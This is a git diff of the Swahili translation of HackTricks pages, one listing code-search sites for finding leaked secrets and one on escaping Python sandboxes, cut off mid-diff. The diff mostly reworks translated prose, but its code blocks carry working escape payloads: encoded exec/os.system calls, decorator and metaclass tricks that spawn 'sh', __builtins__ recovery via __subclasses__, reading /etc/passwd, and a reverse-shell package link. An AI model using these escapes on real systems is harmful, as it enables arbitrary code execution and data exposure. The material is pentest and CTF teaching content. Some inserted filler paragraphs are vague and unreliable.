-Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! +Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: -* Ikiwa unataka kuona **kampuni yako inayotangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)! -* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com) -* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. +* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee +* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
-Lengo la ukurasa huu ni kuorodhesha **jukwaa ambazo huruhusu kutafuta msimbo** (halisi au regex) katika maelfu/mamilioni ya repos kwenye jukwaa moja au zaidi. +**Kikundi cha Usalama cha Kujaribu Kwa Bidii** -Hii husaidia katika hali kadhaa za **kutafuta taarifa zilizovuja** au kwa **mifano ya udhaifu**. +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + +Lengo la ukurasa huu ni kuhesabu **majukwaa yanayoruhusu kutafuta msimbo** (halisi au regex) katika maelfu/mamilioni ya repos kwenye majukwaa moja au zaidi. + +Hii husaidia katika matukio kadhaa ya **kutafuta taarifa zilizovuja** au kwa mifano ya **mapengo ya usalama**. * [**SourceGraph**](https://sourcegraph.com/search): Tafuta katika mamilioni ya repos. Kuna toleo la bure na toleo la biashara (na siku 15 za bure). Inasaidia regexes. -* [**Github Search**](https://github.com/search): Tafuta kwenye Github. Inasaidia regexes. -* Labda pia ni muhimu kuangalia [**Github Code Search**](https://cs.github.com/). -* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Tafuta kwenye miradi ya Gitlab. Inasaidia regexes. +* [**Github Search**](https://github.com/search): Tafuta kote Github. Inasaidia regexes. +* Labda pia ni muhimu kuangalia [**Utafutaji wa Msimbo wa Github**](https://cs.github.com/). +* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Tafuta katika miradi ya Gitlab. Inasaidia regexes. * [**SearchCode**](https://searchcode.com/): Tafuta msimbo katika miradi mamilioni. {% hint style="warning" %} -Unapotafuta uvujaji kwenye repo na kuendesha kitu kama `git log -p` usisahau kuwa kunaweza kuwa na **tawi lingine na kuingiza siri nyingine**! +Unapotafuta uvujaji katika repo na kuendesha kitu kama `git log -p` usisahau kwamba kunaweza kuwa na ** matawi mengine na mabadiliko mengine ** yanayohusisha siri! {% endhint %} +**Kikundi cha Usalama cha Kujaribu Kwa Bidii** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} +
-Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! +Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: -* Ikiwa unataka kuona **kampuni yako inayotangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)! -* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com) -* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. +* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee +* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
diff --git a/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index a86c08aea..9c2638f0d 100644 --- a/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -1,4 +1,4 @@ -# Kudukua mifumo ya kujilinda ya Python +# Kudukua Maboxi ya Python
@@ -6,19 +6,27 @@ Njia nyingine za kusaidia HackTricks: -* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee -* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
-Hizi ni baadhi ya mbinu za kudukua mifumo ya kujilinda ya Python na kutekeleza amri za kupita kiasi. +**Kikundi cha Usalama cha Kujitahidi** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + +Hizi ni mbinu kadhaa za kudukua ulinzi wa maboxi ya Python na kutekeleza amri za kupita kiasi. ## Maktaba za Kutekeleza Amri -Jambo la kwanza unalohitaji kujua ni ikiwa unaweza kutekeleza moja kwa moja nambari na maktaba iliyoshaa kuingizwa, au ikiwa unaweza kuagiza mojawapo ya maktaba hizi: +Jambo la kwanza unalohitaji kujua ni ikiwa unaweza kutekeleza moja kwa moja nambari na maktaba iliyosha kuingizwa, au ikiwa unaweza kuagiza mojawapo ya maktaba hizi: ```python os.system("ls") os.popen("ls").read() @@ -96,16 +104,16 @@ Unaweza kupakua pakiti ya kuunda shell ya nyuma hapa. Tafadhali, kumbuka kwamba {% file src="../../../.gitbook/assets/reverse.tar.gz" %} {% hint style="info" %} -Pakiti hii inaitwa `Reverse`. Hata hivyo, ilibuniwa kwa njia maalum ili wakati unapoondoka kwenye shell ya nyuma, usanidi mwingine utashindwa, hivyo **hutaiacha pakiti ya ziada ya python imewekwa kwenye server** unapoondoka. +Pakiti hii inaitwa `Reverse`. Hata hivyo, ilibuniwa kwa makusudi ili wakati unapoondoka kwenye shell ya nyuma, usanidi mwingine utashindwa, hivyo **hutaiacha pakiti ya ziada ya python imewekwa kwenye server** unapoondoka. {% endhint %} ## Kutathmini msimbo wa python {% hint style="warning" %} -Tafadhali kumbuka kwamba exec inaruhusu mstari wa maandishi wa mistari mingi na ";", lakini eval haifanyi hivyo (angalia operator wa walrus) +Tafadhali kumbuka kwamba exec inaruhusu mistari mingi na ";", lakini eval haifanyi hivyo (angalia operator wa walrus) {% endhint %} -Ikiwa herufi fulani zimepigwa marufuku unaweza kutumia uwakilishi wa **hex/octal/B64** kwa ajili ya **kipuza** kizuizi: +Ikiwa herufi fulani zimepigwa marufuku unaweza kutumia **uwakilishi wa hex/octal/B64** kwa ajili ya **kipuuzi** kizuizi: ```python exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" @@ -126,7 +134,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2 exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) ``` -### Maktaba nyingine ambazo huruhusu kutathmini nambari ya python +### Maktaba nyingine zinazoruhusu kutathmini nambari za python ```python #Pandas import pandas as pd @@ -162,13 +170,13 @@ return x #+AAo-print(open("/flag.txt").read()) """.lstrip() ``` -Pia niwezekana kuidhinisha kutumia namna zingine za kuandika, k.m. `raw_unicode_escape` na `unicode_escape`. +Pia niwezekana kuihepa kwa kutumia taratibu nyingine za uendeshaji, k.m. `raw_unicode_escape` na `unicode_escape`. -## Kutumia Python bila kuita +## Utekelezaji wa Python bila simu -Ukiwa ndani ya gereza la python ambalo **halikuruhusu kufanya simu**, bado kuna njia za **kutekeleza kazi za kiholela, namna ya kuandika** na **maagizo**. +Ikiwa uko ndani ya gereza la python ambalo **halikuruhusu kufanya simu**, bado kuna njia za **utekelezaji wa kazi za kupindukia, nambari** na **maagizo**. -### RCE kwa kutumia [mapambo](https://docs.python.org/3/glossary.html#term-decorator) +### RCE na [mapambo](https://docs.python.org/3/glossary.html#term-decorator) ```python # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ @exec @@ -248,7 +256,7 @@ __ixor__ (k ^= 'import os; os.system("sh")') ``` #### Kuunda vitu na [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) -Jambo muhimu ambalo metaclasses zinaturuhusu kufanya ni **kuunda kipengele cha darasa, bila kuita konstrukta** moja kwa moja, kwa kuunda darasa jipya na darasa lengwa kama metaclass. +Jambo muhimu ambalo metaclasses zinaturuhusu kufanya ni **kuunda kipengele cha darasa, bila kuita konstrukta** moja kwa moja, kwa kutengeneza darasa jipya na darasa lengwa kama metaclass. ```python # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # This will define the members of the "subclass" @@ -285,7 +293,7 @@ k + 'import os; os.system("sh")' #RCE abusing __add__ ## You can also use the tricks from the previous section to get RCE with this object ``` -### Zaidi ya Uwezo wa Kudhibiti Kijijini (RCE) +### Zaidi ya Uwezekano wa Kudhibiti Kijijini (RCE) ```python # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ # If sys is imported, you can sys.excepthook and trigger it by triggering an error @@ -316,12 +324,12 @@ a.__class__.__exit__ = lambda self, *args: None with (a as b): pass ``` -## Vifaa vya Ndani +## Zilizojengwa -* [**Vifaa vya Ndani vya python2**](https://docs.python.org/2/library/functions.html) -* [**Vifaa vya Ndani vya python3**](https://docs.python.org/3/library/functions.html) +* [**Kazi za zilizojengwa za python2**](https://docs.python.org/2/library/functions.html) +* [**Kazi za zilizojengwa za python3**](https://docs.python.org/3/library/functions.html) -Ikiwa unaweza kupata kitu cha **`__builtins__`** unaweza kuagiza maktaba (kumbuka unaweza pia kutumia hapa mwakilishi mwingine wa herufi ulioonyeshwa katika sehemu ya mwisho): +Ikiwa unaweza kupata **`__builtins__`** kifaa unaweza kuingiza maktaba (tambua kwamba unaweza pia kutumia hapa mwakilishi mwingine wa herufi ulioonyeshwa katika sehemu ya mwisho): ```python __builtins__.__import__("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls") @@ -329,9 +337,9 @@ __builtins__.__dict__['__import__']("os").system("ls") ### Hakuna Builtins Wakati huna `__builtins__` huwezi kuimport chochote wala kusoma au kuandika faili kwani **funksheni zote za kimataifa** (kama vile `open`, `import`, `print`...) **hazijapakiwa**.\ -Hata hivyo, **kwa chaguo-msingi python huimport moduli nyingi kwenye kumbukumbu**. Moduli hizi zinaweza kuonekana kuwa salama, lakini baadhi yao **pia huimporta** **kazi hatari** ndani yao ambazo zinaweza kupatikana ili kupata hata **utekelezaji wa nambari za kubahatisha**. +Hata hivyo, **kwa chaguo-msingi python huimport moduli nyingi kwenye kumbukumbu**. Moduli hizi zinaweza kuonekana kuwa salama, lakini baadhi yao **pia huimporta** **funksheni hatari** ndani yao ambazo zinaweza kupatikana ili kupata hata **utekelezaji wa nambari ya kiholela**. -Katika mifano ifuatayo unaweza kuona jinsi ya **kutumia vibaya** baadhi ya moduli hizi "**salama**" zilizopakiwa ili **kupata** **kazi hatari** ndani yao. +Katika mifano ifuatayo unaweza kuona jinsi ya **kutumia vibaya** baadhi ya moduli hizi "**salama**" zilizopakiwa ili **kupata** **funksheni hatari** ndani yao. **Python2** ```python @@ -356,7 +364,13 @@ get_flag.__globals__['__builtins__']['__import__']("os").system("ls") ``` #### Python3 -#### Kiswahili +### Kizuizi cha Python + +Kizuizi cha Python ni mbinu ambayo inaweza kutumika kuzuia au kudhibiti upatikanaji wa vitu vya Python kama vile moduli, vipengele, au kazi. Kizuizi hiki kinaweza kudhibitiwa kwa kutumia mbinu za kudhibiti upatikanaji wa vitu vya Python kama vile kuzuia upatikanaji wa vipengele vya hatari au kuzuia upatikanaji wa faili za mfumo. + +### Kupuuza Kizuizi cha Python + +Kupuuza kizuizi cha Python kunahusisha kutafuta njia za kuzunguka au kudhibiti kizuizi hicho ili kupata upatikanaji usioidhinishwa au kufanya vitendo visivyoruhusiwa. Hii inaweza kufanyika kwa kutumia mbinu za kubadilisha mazingira ya kufanya kazi ya Python au kwa kutumia mbinu za kudanganya kizuizi hicho. ```python # Obtain builtins from a globally defined function # https://docs.python.org/3/library/functions.html @@ -375,7 +389,7 @@ get_flag.__globals__['__builtins__'] # Get builtins from loaded classes [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] ``` -[**Chini kuna kazi kubwa**](./#recursive-search-of-builtins-globals) ya kutafuta **tens/hundreds** ya **mahali** ambapo unaweza kupata **builtins**. +[**Chini kuna kazi kubwa**](./#recursive-search-of-builtins-globals) ya kupata **tens/hundreds** ya **mahali** ambapo unaweza kupata **builtins**. #### Python2 na Python3 ```python @@ -383,7 +397,7 @@ get_flag.__globals__['__builtins__'] __builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__ __builtins__["__import__"]('os').system('ls') ``` -### Mzigo wa kujengwa ndani +### Mzigo wa kujengwa wa kujengwa ```python # Possible payloads once you have found the builtins __builtins__["open"]("/etc/passwd").read() @@ -393,7 +407,7 @@ __builtins__["__import__"]("os").system("ls") ``` ## Globals na locals -Kuchunguza **`globals`** na **`locals`** ni njia nzuri ya kujua unaweza kupata nini. +Kuangalia **`globals`** na **`locals`** ni njia nzuri ya kujua unaweza kupata nini. ```python >>> globals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': , 'attr': , 'a': , 'b': , 'c': , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', , 1): True}, 'z': } @@ -417,13 +431,13 @@ class_obj.__init__.__globals__ [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ``` -[**Chini kuna kazi kubwa**](./#recursive-search-of-builtins-globals) ya kupata **tens/hundreds** ya **mahali** ambapo unaweza kupata **globals**. +[**Hapa chini kuna kazi kubwa**](./#recursive-search-of-builtins-globals) ya kupata **tens/hundreds** ya **maeneo** ambapo unaweza kupata **globals**. ## Kugundua Utekelezaji wa Kiholela Hapa nataka kueleza jinsi ya kugundua kwa urahisi **kazi hatari zaidi zilizopakiwa** na kupendekeza mbinu za kudanganya zaidi. -#### Kupata darasa za chini kwa kuzidisha +#### Kupata Darasa za Kufikia kwa Kupita Moja ya sehemu nyeti zaidi ya mbinu hii ni kuweza **kupata darasa za msingi**. Katika mifano iliyopita hii ilifanywa kwa kutumia `''.__class__.__base__.__subclasses__()` lakini kuna **njia zingine zinazowezekana**: ```python @@ -550,10 +564,10 @@ execfile: execute: __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close ``` -## Utafutaji wa Kurejelea wa Vitu vya Kujengwa, Globals... +## Tafuta Kwa Kina ya Vitu vya Kujengwa, Globals... {% hint style="warning" %} -Hii ni **nzuri sana**. Ikiwa unatafuta kitu kama globals, builtins, open au chochote kingine, tumia skripti hii **kutafuta kwa kina maeneo ambapo unaweza kupata kile kitu.** +Hii ni **nzuri sana**. Ikiwa unatafuta kitu kama globals, builtins, open au chochote kingine, tumia script hii **kutafuta kwa kina maeneo ambapo unaweza kupata kitu hicho.** {% endhint %} ```python import os, sys # Import these to find more gadgets @@ -676,9 +690,9 @@ Unaweza kuangalia matokeo ya skripti hii kwenye ukurasa huu: [broken-reference](broken-reference/) {% endcontent-ref %} -## Python Format String +## Fomati ya Python String -Ikiwa **unatuma** **string** kwa python ambayo itakuwa **imeboreshwa**, unaweza kutumia `{}` kupata **taarifa za ndani za python.** Unaweza kutumia mifano iliyopita kupata vitu vya kawaida au vya kujengwa kwa mfano. +Ikiwa unatuma **string** kwa python ambayo itakuwa **imefomatiwa**, unaweza kutumia `{}` kupata **taarifa za ndani za python.** Unaweza kutumia mifano iliyopita kupata upatikanaji wa vitu vya kawaida au vya kujengwa kwa mfano. {% hint style="info" %} Walakini, kuna **kizuizi**, unaweza kutumia ishara `.[]` tu, kwa hivyo **hutaweza kutekeleza nambari ya kupindukia**, tu kusoma taarifa.\ @@ -703,16 +717,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS') st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" get_name_for_avatar(st, people_obj = people) ``` -Tambua jinsi unavyoweza **kupata sifa** kwa njia ya kawaida kwa kutumia **dot** kama `people_obj.__init__` na **elementi ya dict** kwa kutumia **mabano** bila alama za nukta `__globals__[CONFIG]` +Tafadhali angalia jinsi unavyoweza **kupata sifa** kwa njia ya kawaida kwa kutumia **dot** kama `people_obj.__init__` na **elementi ya dict** kwa kutumia **mabano** bila alama za nukta `__globals__[CONFIG]` -Pia kumbuka unaweza kutumia `.__dict__` kuorodhesha elementi za kitu `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` +Pia angalia unaweza kutumia `.__dict__` kuorodhesha elementi za kitu `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` Baadhi ya sifa nyingine za kuvutia kutoka kwa herufi za muundo ni uwezekano wa **kutekeleza** **kazi** **`str`**, **`repr`** na **`ascii`** kwenye kitu kilichotajwa kwa kuongeza **`!s`**, **`!r`**, **`!a`** mtawalia: ```python st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" get_name_for_avatar(st, people_obj = people) ``` -Zaidi ya hayo, ni **inawezekana kuandika wapangaji wa fomati mpya** katika darasa: +Zaidi ya hayo, ni **inawezekana kuandika wapangaji mpya** katika darasa: ```python class HAL9000(object): def __format__(self, format): @@ -750,9 +764,9 @@ Angalia pia ukurasa ufuatao kwa vifaa ambavyo vitasoma **habari nyeti kutoka kwa Ikiwa unataka **kujifunza** kuhusu **bytecode ya python** kwa kina soma chapisho hili **zuri** kuhusu mada hiyo: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) {% endhint %} -Katika baadhi ya CTFs unaweza kupewa jina la **kazi ya desturi ambapo bendera** inapatikana na unahitaji kuona **ndani** ya **kazi** ili kuipata. +Katika baadhi ya CTFs unaweza kupewa jina la **kazi ya desturi ambapo bendera** inapatikana na unahitaji kuona **ndani** ya **kazi** ili kuiondoa. -Hii ndio kazi ya kupekua: +Hii ni kazi ya kupekua: ```python def get_flag(some_input): var1=1 @@ -787,7 +801,7 @@ CustomClassObject.__class__.__init__.__globals__ ### **Kupata msimbo wa kazi** -**`__code__`** na `func_code`: Unaweza **kupata** hii **sifa** ya kazi ili **kupata kipengee cha msimbo** wa kazi. +**`__code__`** na `func_code`: Unaweza **kupata ufikiaji** wa **sifa hii** ya kazi ili **kupata kifaa cha msimbo** wa kazi. ```python # In our current example get_flag.__code__ @@ -875,7 +889,7 @@ dis.dis(get_flag) 44 LOAD_CONST 0 (None) 47 RETURN_VALUE ``` -Tambua kwamba **ikiwa huwezi kuingiza `dis` katika sanduku la python** unaweza kupata **bytecode** ya kazi (`get_flag.func_code.co_code`) na **kuidisassemble** kwa kifaa chako. Hutaweza kuona maudhui ya mizani zinazopakiwa (`LOAD_CONST`) lakini unaweza kuzitambua kutoka kwa (`get_flag.func_code.co_consts`) kwa sababu `LOAD_CONST` pia inaonyesha ofseti ya mizani inayopakiwa. +Tambua kwamba **ikiwa huwezi kuingiza `dis` katika sanduku la python** unaweza kupata **bytecode** ya kazi (`get_flag.func_code.co_code`) na **kuidisassemble** kwa kifaa chako. Hautaona maudhui ya mizani zinazopakiwa (`LOAD_CONST`) lakini unaweza kuzitambua kutoka kwa (`get_flag.func_code.co_consts`) kwa sababu `LOAD_CONST` pia inaonyesha mbali ya mizani inayopakiwa. ```python dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') 0 LOAD_CONST 1 (1) @@ -899,8 +913,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0 ``` ## Kukusanya Python -Sasa, wacha tuwazie kwamba kwa namna fulani unaweza **kupata habari kuhusu kazi ambayo huwezi kuitekeleza** lakini unahitaji **kuitekeleza**.\ -Kama katika mfano ufuatao, **unaweza kupata kifaa cha namna ya kanuni** ya kazi hiyo, lakini kwa kusoma disassemble huwezi **kujua jinsi ya kuhesabu bendera** (_fikiria kazi ya `calc_flag` yenye utata zaidi_). +Sasa, wacha tufikirie kwamba kwa namna fulani unaweza **kupata habari kuhusu kazi ambayo huwezi kuitekeleza** lakini unahitaji **kuitekeleza**.\ +Kama katika mfano ufuatao, **unaweza kupata kifaa cha namna ya kanuni** ya kazi hiyo, lakini kwa kusoma disassemble tu **hujui jinsi ya kuhesabu bendera** (_fikiria kazi ya `calc_flag` yenye utata zaidi_). ```python def get_flag(some_input): var1=1 @@ -935,7 +949,7 @@ 